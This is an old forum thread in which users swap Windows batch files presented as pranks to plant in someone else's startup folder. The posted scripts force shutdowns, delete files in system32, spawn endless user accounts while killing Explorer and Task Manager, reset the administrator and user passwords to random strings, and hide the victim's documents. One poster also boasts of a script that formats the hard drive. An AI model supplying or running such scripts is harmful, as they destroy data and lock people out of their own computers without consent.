jokersarewild Posted May 12, 2006 Posted May 12, 2006 Well, phreak has his "Helpful" stuff. I take a different route. This is a good one that will piss off whoever this is happening to. 1. Make a new Text file. 2. Name it haha.bat 3. Right Click>Edit 4. copy and paste this text EXACTLY: @echo off shutdown -s -t 15 -c "Your Text Here." pause 5. Change the "15" to however long you want before the shutdown. Don't change it to 0 unless you have access to the Administrator account in safe mode. 6. Change "Your Text Here." to anything you want. 7. Put it in their startup folder. If you want a more cruel version, I will post the code. RoyalOrleans is my real dad!
Feckless Wench Posted May 12, 2006 Posted May 12, 2006 I see many uses for that......LMAO 1 Dementia is just a state of mind.
phreakwars Posted May 12, 2006 Posted May 12, 2006 I have one that will crash the PC then format the hard drive.. ha ha... pretty funny huh ?? . . https://www.facebook.com/phreakwars
jokersarewild Posted May 12, 2006 Author Posted May 12, 2006 I have one that will crash the PC then format the hard drive.. ha ha... pretty funny huh ?? . . How do you accomplish making your PC run a batch file before Windows starts, like it does with PartitionMagic? -------------------------- But why crash the PC when you can shut it down without giving them time to do anything? And if you can make the computer boot up in DOS with XP installed, how the hell do you do it? Post the code for this PC crashing, hard drive reformatting batch file that you have. RoyalOrleans is my real dad!
Hugh G. Rekshun Posted May 22, 2006 Posted May 22, 2006 Well, phreak has his "Helpful" stuff. I take a different route. This is a good one that will piss off whoever this is happening to. 1. Make a new Text file. 2. Name it haha.bat 3. Right Click>Edit 4. copy and paste this text EXACTLY: @echo off shutdown -s -t 15 -c "Your Text Here." pause 5. Change the "15" to however long you want before the shutdown. Don't change it to 0 unless you have access to the Administrator account in safe mode. 6. Change "Your Text Here." to anything you want. 7. Put it in their startup folder. If you want a more cruel version, I will post the code. Please...post the code "May you sit naked in Hell for all eternity with your tender rectum resting squarely upon the sharp end of a red hot barbed stalagmite, all the while you are tormented forever by hideous demons who force you to listen to endless Barry Manilow and Elton John duets of Ashlee Simpson's greatest hits, let this fate befall all those who so much as plagiarize one single word from my work"
jokersarewild Posted May 22, 2006 Author Posted May 22, 2006 OK Hugh, I will. In that file, put: @echo off attrib -r -h -s %systemroot%\system32\ . REM This Next one is just plain mean...he he he. del /q %systemroot%\system32\ . :fucked net user /add Computer_God_%random% tskill explorer tskill taskmgr goto fucked -------------- It deletes everything that isn't a directory inside their system32 folder, and adds up to 31,000 accounts or so (or however many XP can take), depending on how slow the computer user is. Or, if you want to be a total asshole... net user Administrator %random%_%random_%random%_%random% net user %USERNAME% %random%_%random_%random%_%random% ------------ add that before ":fucked" It makes the Administrator password a string of random numbers followed by "_". It does the same for the person logged on. Or, if the person that you are doing this to has no computer knowledge whatsoever... (this is a new .bat file) attrib +s +h %USERPROFILE%\ . :dumbass copy "%USERPROFILE%\Start Menu\ . %USERPROFILE%\Desktop\%random%_dumbass.txt" goto dumbass -------- This hides anything that isn't in a directory in their "My Documents" folder. And puts a lot of copies of nothing on their desktop. RoyalOrleans is my real dad!
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